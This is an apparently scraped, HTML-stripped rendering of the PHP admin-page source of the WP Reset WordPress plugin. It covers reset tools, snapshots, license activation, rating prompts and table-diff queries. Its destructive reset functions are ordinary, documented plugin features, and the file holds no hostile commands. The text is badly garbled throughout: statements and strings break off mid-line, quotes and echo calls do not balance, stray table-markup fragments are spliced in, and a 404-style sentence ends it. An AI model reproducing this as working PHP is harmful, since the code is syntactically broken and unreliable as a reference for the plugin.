$support_link = '' . __('Support', 'wp-reset') . '';
$home_link = '' . __('Plugin Homepage', 'wp-reset') . '';
$rate_link = '' . __('Rate the plugin ★★★★★', 'wp-reset') . '';
$links[] = $support_link;
$links[] = $home_link;
$links[] = $rate_link;
return $links;
} // plugin_meta_links
/**
* Test if we're on WPR's admin page
*
* @return bool
*/
function is_plugin_page()
{
$current_screen = get_current_screen();
if (!empty($current_screen->id) && $current_screen->id == 'tools_page_wp-reset') {
return true;
} else {
return false;
}
} // is_plugin_page
/**
* Add powered by text in admin footer
*
* @param string $text Default footer text.
*
* @return string
*/
function admin_footer_text($text)
{
if (!$this->is_plugin_page()) {
return $text;
}
$text = 'WP Reset v' . $this->version . '. Please rate the plugin ★★★★★ to help us spread the word. Thank you from the WP Reset team!';
return $text;
} // admin_footer_text
/**
* Loads plugin's translated strings
*
* @return null
*/
function load_textdomain()
{
load_plugin_textdomain('wp-reset');
} // load_textdomain
/**
* Inform the user that WordPress has been successfully reset
*
* @return null
*/
function notice_successful_reset()
{
global $current_user;
WP_Reset_Utility::wp_kses_wf('
' . sprintf(__('Site has been successfully reset to default settings.
User "%s" was restored with the password unchanged. Open WP Reset to do another reset.', 'wp-reset'), esc_html($current_user->user_login), esc_url(admin_url('tools.php?page=wp-reset'))) . '
';
echo 'If WP Reset helped you please rate it so we can continue supporting it and helping others. Thank you!
';
echo 'You deserve it, I\'ll rate it! I already rated it';
echo '
Your license has been verified & activated.
To start using the PRO version, please follow these steps:';
echo '
' . __('Please be careful when using WP Reset with multisite enabled. It\'s not recommended to reset the main site. Sub-sites should be OK. We\'re working on making it fully compatible with WP-MU. Till then please be careful. Thank you for understanding.', 'wp-reset') . '
'); echo '' . __('If you use & enjoy WP Reset, please rate it on WordPress.org. It only takes a second and helps us keep the plugin maintained. Thank you!', 'wp-reset') . '
'); echo '' . esc_html__('Rate the plugin ★★★★★', 'wp-reset') . ' ' . esc_html__('I\'ve already rated it', 'wp-reset') . '
'; echo 'The following table details what data will be deleted (reset or destroyed) when a selected reset tool is run. Please read it! '; echo 'If something is not clear contact support before running any tools. It\'s better to ask than to be sorry!'; echo '
'; echo ' - tool WILL delete, reset or destroy the noted data
';
echo ' - tool will NOT touch the noted data in any way
'; echo ' | Options Reset PRO tool | ';
echo 'Site Reset | '; echo 'Nuclear Reset PRO tool | ';
echo '|||
---|---|---|---|---|---|---|
'; WP_Reset_Utility::wp_kses_wf(nl2br(esc_html($tool))); echo ' | '; if (empty($opt[0])) { echo ''; } else { echo ' | '; } if (empty($opt[1])) { echo ' | '; } else { echo ' | '; } if (empty($opt[2])) { echo ' | '; } else { echo ' | '; } echo ' |
'; echo ' | Options Reset PRO tool | ';
echo 'Site Reset | '; echo 'Nuclear Reset PRO tool | ';
echo '
' . esc_html__('What happens when I run any Reset tool?', 'wp-reset') . '
'; echo '' . esc_html__('WP-CLI Support', 'wp-reset') . '
';
echo '' . sprintf(esc_html__('All tools available via GUI are available in WP-CLI as well. To get the list of commands run %s. Instead of the active user, the first user with admin privileges found in the database will be restored. ', 'wp-reset'), 'wp help reset
');
echo sprintf(esc_html__('All actions have to be confirmed. If you want to skip confirmation use the standard %s option. Please be careful and backup first.', 'wp-reset'), '--yes
') . '
Options table will be reset to default values meaning all WP core settings, widgets, theme settings and customizations, and plugin settings will be gone. Other content and files will not be touched including posts, pages, custom post types, comments and other data stored in separate tables. Site URL and name will be kept as well. Please see the table above for details.
'; WP_Reset_Utility::wp_kses_wf($this->get_tool_icons(false, true)); echo '' . __('Type reset in the confirmation field to confirm the reset and then click the "Reset WordPress" button.
Always create a snapshot before resetting if you want to be able to undo.', 'wp-reset') . '
'; echo '' . esc_html__('Reset Site', 'wp-reset') . ''; WP_Reset_Utility::wp_kses_wf($this->get_snapshot_button('reset-wordpress', 'Before resetting the site')); echo '
'; echo 'All data will be deleted or reset (see the explanation table for details). All data stored in the database including custom tables with ' . esc_html($wpdb->prefix) . '
prefix, as well as all files in wp-content, themes and plugins folders. The only thing restored after reset will be your user account so you can log in again, and the basic WP settings like site URL. Please see the table above for details.
This tool is not compatible with WP multisite (WPMU). Using it would delete files shared by multiple sites in the WP network.
'; } else { echo '' . __('Type reset in the confirmation field to confirm the reset and then click the "Reset WordPress & Delete All Custom Files & Data" button. There is NO UNDO.', 'wp-reset') . '
'); echo ''; echo '' . esc_html__('Reset WordPress & Delete All Custom Files & Data', 'wp-reset') . ' - PRO tool
'; } echo '' . __('All options (mods) for all themes will be reset; not just for the active theme. The tool works only for themes that use the WordPress theme modification API. If options are saved in some other, custom way they won\'t be reset.
Always create a snapshot before using this tool if you want to be able to undo its actions.', 'wp-reset') . '
create a snapshot if you want to be able to undo') . '." data-text-done="Options for %n themes have been reset." data-text-done-singular="Options for one theme have been reset." class="button button-delete" href="#" id="reset-theme-options">Reset theme options'; WP_Reset_Utility::wp_kses_wf($this->get_snapshot_button('reset-theme-options', 'Before resetting theme options') . '
'); echo 'Default user roles\' capatibilities will be reset to their default values. All custom roles will be deleted.
Users that had custom roles will not be assigned any default ones and might not be able to log in. Roles have to be (re)assigned to them manually.
Reset user roles - PRO tool'; WP_Reset_Utility::wp_kses_wf($this->get_snapshot_button('reset-user-roles', 'Before resetting user roles') . '
'); echo 'All transient related database entries will be deleted. Including expired and non-expired transients, and orphaned transient timeout entries.
Always create a snapshot before using this tool if you want to be able to undo its actions.
create a snapshot if you want to be able to undo') . '." data-text-done="%n transient database entries have been deleted." data-text-done-singular="One transient database entry has been deleted." class="button button-delete" href="#" id="delete-transients">Delete all transients'; WP_Reset_Utility::wp_kses_wf($this->get_snapshot_button('delete-transients', 'Before deleting transients') . '
'); echo 'All cache objects stored in both files and the database will be deleted. Along with WP object cache and transients, cache from the following plugins will be purged: W3 Total Cache, WP Cache, LiteSpeed Cache, Endurance Page Cache, SiteGround Optimizer, WP Fastest Cache and Swift Performance.
'; WP_Reset_Utility::wp_kses_wf($this->get_tool_icons(true, true)); echo ''; echo 'All local storage and session storage data will be deleted. Cookies without a custom set path will be deleted as well. WP cookies are not touched, with Delete Local Data button.
Deleting all WordPress cookies (including authentication cookies) will delete all WP related cookies and user (you) will be logged out on the next page reload.
Besides content, all linked or child records (for selected content) will be deleted to prevent creating orphaned rows in the database. For instance, for posts that\'s posts, post meta, and comments related to posts. Delete process does not call any WP hooks such as before_delete_post. Choosing a post type or taxonomy does not delete that parent object it deletes the child objects. Parent objects are defined in code. If you want to remove them, remove their code definition. When media is deleted, files are left in the uploads folder. To delete files use the Clean uploads Folder tool. Deleting users does not affect the current, logged in user account. All orphaned objects will be reassigned to him.
'; WP_Reset_Utility::wp_kses_wf($this->get_tool_icons(false, true)); $post_types = get_post_types('', false, 'and'); $taxonomies = get_taxonomies('', false, 'and'); echo '
';
echo 'Select content object(s) you want to delete. Use ctrl + click to select multiple objects.
All widgets, orphaned, active and inactive ones, as well as widgets in active and inactive sidebars will be deleted including their settings. After deleting, WordPress will automatically recreate default, empty database entries related to widgets. So, no matter how many times users run the tool it will never return "no data deleted". That\'s expected and normal.
'; WP_Reset_Utility::wp_kses_wf($this->get_tool_icons(false, true)); echo ''; echo '' . __('All themes will be deleted. Including the currently active theme - ' . esc_html($theme->get('Name')) . '.
There is NO UNDO. WP Reset does not make any file backups.', 'wp-reset') . '
' . __('All plugins will be deleted except for WP Reset which will remain active.
There is NO UNDO. WP Reset does not make any file backups.', 'wp-reset') . '
MU Plugins are located in /wp-content/mu-plugins/
and are, as the name suggests, must-use plugins that are automatically activated by WP and can\'t be deactiavated via the plugins interface, although if any are used, they are listed in the "Must Use" tab.
';
echo 'Drop-ins are pieces of code found in /wp-content/
that replace default, built-in WordPress functionality. Most often used are db.php
and advanced-cache.php
that implement custom DB and cache functionality. They can\'t be deactivated via the plugins interface but if any are present are listed in the "Drop-in" tab.
This tool is not compatible with WP multisite (WPMU). Using it would delete plugins for all sites in the network since they all share the same plugin files.
'; } else { WP_Reset_Utility::wp_kses_wf($this->get_tool_icons(true, false, true)); echo 'Delete must use plugins - PRO toolDelete drop-ins - PRO tool
'; } echo '' . __('All files in ' . esc_html($upload_dir['basedir']) . '
folder will be deleted. Including folders and subfolders, and files in subfolders. Files associated with media entries will be deleted too.
There is NO UNDO. WP Reset does not make any file backups.', 'wp-reset') . '
Tool is not available. Folder is not writeable by WordPress. Please check file and folder access rights.
'; } else { echo ''; } echo 'All folders and their content in wp-content
folder except the following ones will be deleted: mu-plugins
, plugins
, themes
, uploads
, wp-reset-autosnapshots
, wp-reset-snapshots-export
.
Tool is not available. Folder is not writeable by WordPress. Please check file and folder access rights.
'; } else { echo ''; } echo '' . __('This action affects only custom tables with ' . esc_html($wpdb->prefix) . '
prefix. Core WP tables and other tables in the database that do not have that prefix will not be deleted/emptied. Deleting (dropping) tables completely removes them from the database. Emptying (truncating) removes all content from them, but keeps the structure intact.
Always create a snapshot before using this tool if you want to be able to undo its actions.
' . __('The following ' . sizeof($custom_tables) . ' custom tables are affected by this tool: ', 'wp-reset'));
foreach ($custom_tables as $tbl) {
echo '' . esc_html($tbl['name']) . '
';
if (next($custom_tables)) {
echo ', ';
}
} // foreach
echo '.
' . esc_html__('There are no custom tables. There\'s nothing for this tool to empty or delete.', 'wp-reset') . '
'; $custom_tables_btns = ' disabled'; } WP_Reset_Utility::wp_kses_wf($this->get_tool_icons(false, true, true)); echo 'create a snapshot if you want to be able to undo') . '." data-text-done="%n custom tables have been emptied." data-text-done-singular="One custom table has been emptied." class="button button-delete' . esc_attr($custom_tables_btns) . '" href="#" id="truncate-custom-tables">Empty (truncate) custom tables'; echo 'create a snapshot if you want to be able to undo') . '." data-text-done="%n custom tables have been deleted." data-text-done-singular="One custom table has been deleted." class="button button-delete' . esc_attr($custom_tables_btns) . '" href="#" id="drop-custom-tables">Delete (drop) custom tables'; WP_Reset_Utility::wp_kses_wf($this->get_snapshot_button('drop-custom-tables', 'Before deleting custom tables')); echo '
'; echo 'This tool is not compatible with WP multisite (WPMU). Using it would change the WP version for all sites in the network since they all share the same core files.
'; } else { echo 'Replace current WordPress version with the selected new version. Switching from a previous version, to a newer version is mostly supported and properly handled by the WP installer. Reverting WordPress, rolling back WordPress to a previous version is not supported. Results may vary!
'; WP_Reset_Utility::wp_kses_wf($this->get_tool_icons(true, true)); $wp_versions = WP_Reset_Utility::get_wordpress_versions(); echo ''; echo '
'; echo ''; echo 'Switch WordPress version - PRO tool'; echo '
'; } echo '' . __('This action deletes the .htaccess file located in ' . esc_html($this->get_htaccess_path()) . '
There is NO UNDO. WP Reset does not make any file backups.
If you need to edit .htaccess, install our free WP Htaccess Editor plugin. It automatically creates backups when you edit .htaccess as well as checks for syntax errors. To create the default .htaccess file open Settings - Permalinks and re-save settings. WordPress will recreate the file.
'; WP_Reset_Utility::wp_kses_wf($this->get_tool_icons(true, false)); echo ''; echo '' . __('Have a set of plugins (and themes) that you install and activate after every reset? Or on every fresh WordPress installation? Well, no more clicking install & active for ten minutes! Build the collection once and install it with one click as many times as needed.
WP Reset stores collections in the cloud so they\'re accessible on every site you build. You can use free plugins and themes from the official repo, and PRO ones by uploading a ZIP file. We\'ll safely store your license keys too, so you have everything in one place.', 'wp-reset') . '
'); echo 'Add a new collection - PRO feature Reload my saved collections from the cloud - PRO feature
'; echo 'Type | Name & Note | Actions |
---|---|---|
' . esc_html($plugin['name']) . '' . esc_html($plugin['desc']) . ' |
' . __('All tools and features are explained in detail in the documentation. We did our best to describe how things work on both the code level and an "average user" level.', 'wp-reset') . '
'); echo 'Emergency Recovery Script is a standalone, single-file, WordPress independent PHP script created to recover WordPress sites from the most difficult situations. When access to the admin is not possible when core files are compromised (accidental delete or malware related situations), when you get the white screen of death, can\'t log in for whatever reason or a plugin has killed your site - emergency recovery script can fix the problem! Some of the things ERS can do;
'; echo 'You can install the script as a preventive measure, so it\'s always available in case of an emergency (don\'t worry, it\'s password protected), or upload it only when needed. On production sites, when big and potentially dangerous changes rarely happen, we suggest uploading it only when needed. On test sites, have it ready in advance because there\'s a higher probability that you\'ll need it. Emergency Recovery Script is a WP Reset PRO tool.
'; echo '' . __('We are very active on the official WP Reset support forum. If you found a bug, have a feature idea or just want to say hi - please drop by. We love to hear back from our users.', 'wp-reset') . '
'); echo 'Need urgent support? Have one of our devs personally help you with your issue. All PRO license holders have access to premium email support. Get WP Reset PRO now.
'; echo '' . __('No need for donations :) If you can give us a five star rating you\'ll help out more than you can imagine. A public mention @webfactoryltd also does wonders. Thank you!', 'wp-reset') . '
'); echo 'More ways to reset your site, more tools, automatic snapshots, collections, email support and the emergency recover script - that\'s WP Reset PRO in a nutshell. The same quality and easy-of-use you experienced in the free version is very much a part of the PRO one, but extended and upgraded with more tools that will save you even more time.
'; echo 'WP Reset PRO is aimed towards webmasters, agencies, and everyone who buildsa a lot of WordPress sites. It\'s much, much more than a "reset" tool. It\'s an easy way to start a new site, to test changes and to get out of the thickest jams. And thanks to its cloud features and the Dashboard it\'ll give you access to collections and snapshots on all the sites you\'re working on - instantly, without dragging any files along.
'; echo 'Give WP Reset PRO a go. It\'ll pay itself out in hours saved within the first few days!
'; echo 'If you already have a PRO license, activate it below.
'; echo ''; echo 'License key is visible on the confirmation screen, right after purchasing. You can also find it in the confirmation email sent to the email address provided on purchase. Or use keys created with the license manager.
If you don\'t have a license - purchase one now. In case of problems with the license please contact support.
'; echo '';
echo '
';
if ($this->license->is_active()) {
$license_formatted = $this->license->get_license_formatted();
echo 'Active
' . esc_html($license_formatted['name_long']);
echo '
' . esc_html($license_formatted['valid_until']);
echo '
Thank you for purchasing WP Reset PRO! Your license has been verified and activated.';
echo '
To start using the PRO version, please follow these steps:
'; if ($this->license->is_active()) { echo 'Save & Revalidate License'; echo ' Deactivate License'; } else { echo 'Save & Activate License'; echo ' Keyless Activation'; } echo '
'; echo 'By attempting to activate a license you agree to share the following data with WebFactory Ltd: license key, site URL, site title, site WP version, site IP, and WP Reset plugin (free) version.'; echo '
'; echo 'A snapshot is a copy of all WP database tables, standard and custom ones, saved in the site\'s database. Watch a short video overview and tutorial about Snapshots.
'; echo 'Snapshots are primarily a development tool. When using various reset tools we advise using our 1-click snapshot tool available in every tool\'s confirmation dialog. If a full backup that includes files is needed, use one of the backup plugins from the repo.
'; echo 'Use snapshots to find out what changes a plugin made to your database or to quickly restore the dev environment after testing database related changes. Restoring a snapshot does not affect other snapshots, or WP Reset settings.
'; echo 'To automatically generate snapshots on plugin, theme, and core update, activate, deactivate and similar events enable automatic snapshots available in WP Reset PRO.
'; $tables = $wpdb->get_results('SHOW TABLES', ARRAY_N); if (is_array($tables)) { foreach ($tables as $table) { if (0 !== stripos($table[0], $wpdb->prefix)) { continue; } if (in_array($table[0], $this->core_tables)) { $tbl_core++; } else { $tbl_custom++; } } // foreach echo 'Currently used WordPress tables, prefixed with ' . esc_html($wpdb->prefix) . ', consist of ' . esc_html($tbl_core) . ' standard and '; if ($tbl_custom) { echo esc_attr($tbl_custom) . ' custom table' . ($tbl_custom == 1 ? '' : 's'); } else { echo 'no custom tables'; } echo ' (show details)'; } else { echo 'Tables information is not available. Something is not working properly on your site. Snapshots won\'t work.'; } echo '
Date | Description | Size | |
---|---|---|---|
';
if (current_time('timestamp') - strtotime($ss['timestamp']) > 12 * HOUR_IN_SECONDS) {
echo esc_attr(date(get_option('date_format'), strtotime($ss['timestamp']))) . ' @ ' . esc_attr(date(get_option('time_format'), strtotime($ss['timestamp']))); } else { echo esc_attr(human_time_diff(strtotime($ss['timestamp']), current_time('timestamp'))) . ' ago'; } echo ' | ';
echo '';
if (!empty($ss['name'])) {
echo '' . esc_html($ss['name']) . ' '; } echo esc_attr($ss['tbl_core']) . ' standard & '; if ($ss['tbl_custom']) { echo esc_attr($ss['tbl_custom']) . ' custom table' . ($ss['tbl_custom'] == 1 ? '' : 's'); } else { echo 'no custom tables'; } echo ' totaling ' . esc_attr(number_format($ss['tbl_rows'])) . ' rows | ';
echo '' . esc_attr(WP_Reset_Utility::format_size($ss['tbl_size'])) . ' | '; echo ''; echo ' | '; echo '
There are no user created snapshots. Create a new snapshot.
'; } echo 'WP Reset PRO creates automatic snapshots before significant events occur on your site that can cause it to stop working correctly. Plugin, theme and core updates, plugin and theme activations and deactivations all of those can happen in the background without your knowledge. With automatic snapshots, you can roll back any update with a single click. Snapshots can be uploaded to the WP Reset Cloud, Dropbox, Google Drive or pCloud, giving you an extra layer of security.
Upgrade to WP Reset PRO to enable automatic snapshots and give your site an extra layer of safety.
' . $table['fullname'] . ' | '; $out .= 'table is not present in snapshot | '; $out .= '
';
$out .= ' ' . number_format($table['rows']) . ' row' . ($table['rows'] == 1 ? '' : 's') . ' totaling ' . WP_Reset_Utility::format_size($table['size_data']) . ' in data and ' . WP_Reset_Utility::format_size($table['size_index']) . ' in index. '; $out .= '' . $table['schema'] . ''; $out .= ' | ';
$out .= ''; $out .= ' |
table is not present in current tables | '; $out .= '' . esc_html($table['fullname']) . ' | '; $out .= '
'; $out .= ' | ';
$out .= ' ' . number_format($table['rows']) . ' row' . ($table['rows'] == 1 ? '' : 's') . ' totaling ' . WP_Reset_Utility::format_size($table['size_data']) . ' in data and ' . WP_Reset_Utility::format_size($table['size_index']) . ' in index. '; $out .= '' . $table['schema'] . ''; $out .= ' | ';
$out .= '
' . $tbl_current['fullname'] . ' | '; $out3 .= '' . $tbl_snapshot['fullname'] . ' | '; $out3 .= '
';
$out3 .= ' ' . number_format($tbl_current['rows']) . ' rows totaling ' . WP_Reset_Utility::format_size($tbl_current['size_data']) . ' in data and ' . WP_Reset_Utility::format_size($tbl_current['size_index']) . ' in index. '; $out3 .= '' . $tbl_current['schema'] . ''; $out3 .= ' | ';
$out3 .= '';
$out3 .= ' ' . number_format($tbl_snapshot['rows']) . ' rows totaling ' . WP_Reset_Utility::format_size($tbl_snapshot['size_data']) . ' in data and ' . WP_Reset_Utility::format_size($tbl_snapshot['size_index']) . ' in index. '; $out3 .= '' . $tbl_snapshot['schema'] . ''; $out3 .= ' | ';
$out3 .= '
' . $tbl_current['fullname'] . ' table schemas do not match | '; $out2 .= '' . $tbl_snapshot['fullname'] . ' table schemas do not match | '; $out2 .= '
';
$out2 .= ' ' . number_format($tbl_current['rows']) . ' rows totaling ' . WP_Reset_Utility::format_size($tbl_current['size_data']) . ' in data and ' . WP_Reset_Utility::format_size($tbl_current['size_index']) . ' in index. '; $out2 .= ' | ';
$out2 .= '';
$out2 .= ' ' . number_format($tbl_snapshot['rows']) . ' rows totaling ' . WP_Reset_Utility::format_size($tbl_snapshot['size_data']) . ' in data and ' . WP_Reset_Utility::format_size($tbl_snapshot['size_index']) . ' in index. '; $out2 .= ' | ';
$out2 .= '
'; $out2 .= $diff->Render($renderer); $out2 .= ' | '; $out2 .= '
' . $tbl_current['fullname'] . ' data in tables does not match | '; $out2 .= '' . $tbl_snapshot['fullname'] . ' data in tables does not match | '; $out2 .= '||||||||||||
';
$out2 .= ' ' . number_format($tbl_current['rows']) . ' rows totaling ' . WP_Reset_Utility::format_size($tbl_current['size_data']) . ' in data and ' . WP_Reset_Utility::format_size($tbl_current['size_index']) . ' in index. '; $out2 .= ' | ';
$out2 .= '';
$out2 .= ' ' . number_format($tbl_snapshot['rows']) . ' rows totaling ' . WP_Reset_Utility::format_size($tbl_snapshot['size_data']) . ' in data and ' . WP_Reset_Utility::format_size($tbl_snapshot['size_index']) . ' in index. '; $out2 .= ' | ';
$out2 .= '||||||||||||
';
if ($tbl_current['corename'] == 'options') {
$ss_prefix = $tbl_snapshot['uid'] . '_' . $wpdb->prefix;
$diff_rows = $wpdb->get_results("SELECT {$wpdb->prefix}options.option_name, {$wpdb->prefix}options.option_value AS current_value, {$ss_prefix}options.option_value AS snapshot_value FROM {$wpdb->prefix}options LEFT JOIN {$ss_prefix}options ON {$ss_prefix}options.option_name = {$wpdb->prefix}options.option_name WHERE {$wpdb->prefix}options.option_value != {$ss_prefix}options.option_value LIMIT 100;");
$only_current = $wpdb->get_results("SELECT {$wpdb->prefix}options.option_name, {$wpdb->prefix}options.option_value AS current_value, {$ss_prefix}options.option_value AS snapshot_value FROM {$wpdb->prefix}options LEFT JOIN {$ss_prefix}options ON {$ss_prefix}options.option_name = {$wpdb->prefix}options.option_name WHERE {$ss_prefix}options.option_value IS NULL LIMIT 100;");
$only_snapshot = $wpdb->get_results("SELECT {$wpdb->prefix}options.option_name, {$wpdb->prefix}options.option_value AS current_value, {$ss_prefix}options.option_value AS snapshot_value FROM {$wpdb->prefix}options LEFT JOIN {$ss_prefix}options ON {$ss_prefix}options.option_name = {$wpdb->prefix}options.option_name WHERE {$wpdb->prefix}options.option_value IS NULL LIMIT 100;");
$out2 .= '
Detailed data diff is not available for this table. '; } $out2 .= ' | ';
$out2 .= '
It looks like nothing was found at this location. Maybe try a search?